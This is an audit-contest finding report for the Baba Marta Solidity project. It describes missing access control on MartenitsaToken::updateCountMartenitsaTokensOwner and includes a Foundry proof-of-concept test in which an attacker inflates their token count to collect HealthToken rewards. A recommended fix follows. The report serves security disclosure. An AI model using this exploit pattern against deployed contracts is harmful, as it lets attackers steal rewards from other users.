First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] No access control in MartenitsaToken::updateCountMartenitsaTokensOwner rewards manipulate.

elbarunitech

Description:
any account can call MartenitsaToken::updateCountMartenitsaTokensOwner targeting any owner address which can be used to manipulate the count for owner address by adding or substracting.
Impact:
this Impacts MartenitsaMarketplace::collectReward function ,
assuming attacker increases his wallet to 3 MartenitsaToken or multiple of 3 MartenitsaTokento collect HealthToken even without buying or receiving presents,
or/and attacker changes another user(s) count to prevent them from collecting HealthToken even if they have bought or receive presnt of 3 MartenitsaToken

Proof of Concept:

Proof Of Code place following test into `BaseTest.t.sol`
+ address collectRewardAttacker;
​
function setUp() public {
jack = makeAddr("jack");
chasy = makeAddr("chasy");
bob = makeAddr("bob");
producers.push(jack);
producers.push(chasy);
+ attacker = new AttackerContract();
+ producers.push(address(attacker));
+ collectRewardAttacker = makeAddr("collectRewardAttacker");
​
​

Place the following test into MartenitsaMarketplace.t.sol.

​
function testCollectRewardAttack() public eligibleForReward {
vm.prank(collectRewardAttacker);
uint256 countBeforeAttack = martenitsaToken
.getCountMartenitsaTokensOwner(collectRewardAttacker);
//Can not collect rewards
marketplace.collectReward();
assert(healthToken.balanceOf(collectRewardAttacker) == 0);
​
martenitsaToken.updateCountMartenitsaTokensOwner(
collectRewardAttacker,
"add"
);
martenitsaToken.updateCountMartenitsaTokensOwner(
collectRewardAttacker,
"add"
);
martenitsaToken.updateCountMartenitsaTokensOwner(
collectRewardAttacker,
"add"
);
uint256 countAfterAttack = martenitsaToken
.getCountMartenitsaTokensOwner(collectRewardAttacker);
​
vm.prank(collectRewardAttacker);
//Can collect rewards
marketplace.collectReward();
assert(healthToken.balanceOf(collectRewardAttacker) == 10 ** 18);
​
assertEq(countBeforeAttack, 0);
assertEq(countAfterAttack, 3);
}

Recommended Mitigation:
add access control only MarketPlace contract address is allowed to update the count .

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.